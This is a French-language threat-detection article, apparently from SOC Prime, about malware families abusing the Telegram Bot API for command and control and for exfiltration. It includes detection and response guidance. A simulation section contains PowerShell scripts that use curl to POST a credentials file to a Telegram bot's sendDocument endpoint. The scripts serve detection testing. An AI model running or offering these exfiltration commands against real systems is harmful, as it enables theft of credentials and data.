SOC Prime Bias: Moyen

17 Déc 2025 17:33

Chroniques de Détection & Réponse : Exploration de l’Abus de Telegram

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Chroniques de Détection & Réponse : Exploration de l’Abus de Telegram
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

L’article explique comment plusieurs acteurs malveillants exploitent l’API Bot de Telegram et les canaux dans les entreprises pour le commandement et le contrôle, l’exfiltration de données et la surveillance des victimes. Des familles de malwares, y compris DeerStealer, Lumma Stealer, Raven Stealer, et un constructeur XWorm trojanisé, intègrent en dur des jetons de bot ou des IDs de canal et appellent des points de terminaison tels que /sendMessage et /sendDocument. Il inclut des requêtes de détection Microsoft Defender et Sentinel axées sur des lignes de commande de processus suspects et le trafic vers api.telegram.org. Les conseils clés consistent à établir une base d’usage légitime de Telegram et à bloquer l’API là où elle n’est pas nécessaire.

Investigation

Le SOC de NVISO a rapporté quatre tentatives d’intrusion observées entre octobre 2025 et mars 2025 où Telegram a été utilisé à différentes étapes du cycle d’attaque. Le rapport met en lumière des campagnes telles que Lunar Spider surveillant les victimes via de fausses captures CAPTCHA, DeerStealer envoyant des notifications d’opérateur via curl, Lumma Stealer extrayant des détails C2 des canaux Telegram, Raven Stealer exfiltrant des collections archivées, et un constructeur XWorm s’appuyant sur l’API Bot pour à la fois l’exfiltration et le C2. Les analystes ont extrait des indicateurs incluant des lignes de commande de processus, des destinations réseau, et des noms de fichiers pertinents.

Atténuation

Établissez une base de référence pour l’utilisation légitime de Telegram, puis bloquez l’accès sortant à api.telegram.org dans les environnements où cela n’est pas requis. Surveillez les processus inhabituels (par exemple, curl, powershell, wscript) initiant des connexions à l’API et enquêtez sur toute interaction scriptée avec l’API Bot. Ajustez les détections pour supprimer le comportement attendu tel que les navigateurs connus lançant telegram.exe, et priorisez les requêtes de type long-polling ou webhook provenant de binaires suspects ou d’hôtes inattendus.

Réponse

Lorsque de l’activité est détectée, isolez le point d’extrémité affecté, arrêtez les processus suspects, et préservez les arguments en ligne de commande ainsi que la télémétrie DNS, proxy, et réseau. Effectuez une analyse médico-légale approfondie pour identifier les charges utiles secondaires associées à des campagnes comme DeerStealer ou Raven Stealer. Faites tourner tout jeton de bot exposé, désactivez ou révoquez les canaux Telegram abusés, et contenez la propagation en bloquant les indicateurs associés. Si un abus est confirmé, escaladez les rapports via les canaux officiels de Telegram et documentez l’incident pour prévenir la récurrence.

« graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#c2f0c2 classDef process fill:#c2d6f0 classDef malware fill:#f9c2ff classDef operator fill:#ff9900 %% Nodes u2013 Techniques attack_user_execution[« <b>Technique</b> – <b>T1204 Exécution Utilisateur</b> : Les victimes sont amenées à exécuter un exécutable malveillant imbriqué dans une fausse mise à jour de Google Chrome. »] class attack_user_execution technique attack_software_extensions[« <b>Technique</b> – <b>T1176 Extensions Logicielles</b> : Un plugin WordPress compromis injecte des iframes malveillantes pour livrer la fausse mise à jour. »] class attack_software_extensions technique action_archive_data[« <b>Technique</b> – <b>T1560.001 Archivage via Utilitaire</b> : PowerShell archive les fichiers collectés dans une archive ZIP. »] class action_archive_data technique tech_compression[« <b>Technique</b> – <b>T1027.015 Compression</b> : L’archive ZIP compresse les données pour réduire la taille pour l’exfiltration. »] class tech_compression technique process_powershell[« <b>Procédé</b> – <b>T1059.001 PowerShell</b> : Exécute l’archivage et invoque ensuite curl pour la transmission. »] class process_powershell process action_curl[« <b>Action</b> – Curl : PowerShell appelle curl pour envoyer l’archive au serveur C2. »] class action_curl tool tech_dead_drop[« <b>Technique</b> – <b>T1102.001 Dead Drop Resolver</b> : Le malware communique avec les points d’extrémité de l’API Bot de Telegram. »] class tech_dead_drop technique tech_messaging_exfil[« <b>Technique</b> – <b>T1213.005 Applications de Messagerie</b> : Les informations système et les identifiants sont exfiltrés via les chats/bots Telegram. »] class tech_messaging_exfil technique tech_unsecured_creds[« <b>Technique</b> – <b>T1552.008 Identifiants Non Sécurisés</b> : Les jetons Discord et les mots de passe sauvegardés sont envoyés sous forme de messages de chat. »] class tech_unsecured_creds technique tech_data_obfusc[« <b>Technique</b> – <b>T1001 Obfuscation des Données</b> : Les noms de canaux Telegram sont cryptés avec ROT13/ROT15. »] class tech_data_obfusc technique tech_dynamic_resolution[« <b>Technique</b> – <b>T1568 Résolution Dynamique</b> : Le malware décode l’identifiant obfusqué à l’exécution. »] class tech_dynamic_resolution technique tech_exfil_c2[« <b>Technique</b> – <b>T1041 Exfiltration via le Canal C2</b> : L’archive compressée et les données volées sont envoyées via le canal Telegram. »] class tech_exfil_c2 technique %% Nodes u2013 Tools / Malware tool_fake_update[« <b>Malware</b> – Fausse Mise à Jour Chrome : Exécutable malveillant livré aux victimes. »] class tool_fake_update malware tool_wordpress_plugin[« <b>Outil</b> – Plugin WordPress <i>header-fix-tester</i> : Injecte des iframes malveillantes. »] class tool_wordpress_plugin tool %% Operator nodes (optional) op_and1((« AND »)) class op_and1 operator %% Connections u2013 Attack Flow attack_user_execution u002du002d>|delivre| tool_fake_update attack_software_extensions u002du002d>|injecte iframe pour livrer| tool_fake_update tool_fake_update u002du002d>|s’exécute via| process_powershell process_powershell u002du002d>|crée| action_archive_data action_archive_data u002du002d>|applique| tech_compression tech_compression u002du002d>|produit une archive pour| action_curl action_curl u002du002d>|envoie les données à| tech_dead_drop tech_dead_drop u002du002d>|active| tech_messaging_exfil tech_messaging_exfil u002du002d>|transporte| tech_unsecured_creds tech_unsecured_creds u002du002d>|utilise| tech_data_obfusc tech_data_obfusc u002du002d>|soutient| tech_dynamic_resolution tech_dynamic_resolution u002du002d>|facilite| tech_exfil_c2 tech_exfil_c2 u002du002d>|exfiltre les données sur| tech_dead_drop %% Class assignments class tool_fake_update malware class tool_wordpress_plugin tool class op_and1 operator « 

Flux d’attaque

Exécution de Simulation

Prérequis : Le Contrôle Pré-vol de Télémétrie & Base de Référence doit avoir réussi.

Rationale : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.

  • Récit & Commandes d’Attaque :
    Un adversaire avec un hôte Windows compromis souhaite exfiltrer un fichier d’identifiant récolté (creds.txt) vers un bot Telegram qu’ils contrôlent. Pour éviter de stocker un binaire personnalisé, ils utilisent curl.exe (installé via les fonctionnalités optionnelles de Windows 10) pour POST le fichier à https://api.telegram.org/bot<ATTACKER_TOKEN>/sendDocument. La commande est exécutée depuis PowerShell, garantissant que l’événement de création de processus enregistre une ligne de commande contenant « api.telegram.org ». Comme le processus est curl.exe, le filtre de la règle (InitiatingProcessFileName: "telegram.exe") ne supprime pas l’alerte.

    # Variables (remplacer par des valeurs contrôlées par l'attaquant)
    $BotToken = "123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11"
    $ChatID   = "987654321"
    $FilePath = "C:Tempcreds.txt"
    
    # Assurer que le fichier existe (simulation de décharge d'identifiants)
    Set-Content -Path $FilePath -Value "username: admin`npassword: P@ssw0rd!"
    
    # Exécutez l'exfiltration via l'API Bot de Telegram
    $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID"
    curl.exe -X POST -F "document=@$FilePath" $Url
  • Script de Test de Régression : Le script ci-dessous reproduit les étapes exactes, adapté pour des exécutions BAS automatisées.

    #--------------------------------------------
    # Test de Régression – Exfiltration API Telegram
    #--------------------------------------------
    param(
        [string]$BotToken = "REPLACE_WITH_TOKEN",
        [string]$ChatID   = "REPLACE_WITH_CHATID",
        [string]$TmpDir   = "$env:TEMPTelegramBAS"
    )
    
    # Créez un espace de travail temporaire
    New-Item -ItemType Directory -Path $TmpDir -Force | Out-Null
    
    # Fichier d'identifiants simulé
    $CredFile = Join-Path $TmpDir "creds.txt"
    "username: admin`npassword: P@ssw0rd!" | Set-Content -Path $CredFile
    
    # Construire l'URL de l'API
    $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID"
    
    # Invoquer l'exfiltration
    Write-Host "[*] Exfiltrating $CredFile to Telegram..."
    curl.exe -X POST -F "document=@$CredFile" $Url
    
    # Indicateur simple de succès (ne vérifie pas la livraison)
    if ($LASTEXITCODE -eq 0) {
        Write-Host "[+] Commande d'exfiltration exécutée."
    } else {
        Write-Error "[-] Exfiltration échouée."
    }
  • Commandes de Nettoyage : Supprimez le fichier temporaire et le répertoire ; terminez éventuellement les curl.exe processus persistants.

    # Nettoyer les artefacts temporaires
    Stop-Process -Name "curl" -ErrorAction SilentlyContinue
    Remove-Item -Path $TmpDir -Recurse -Force
    Write-Host "[*] Nettoyage terminé."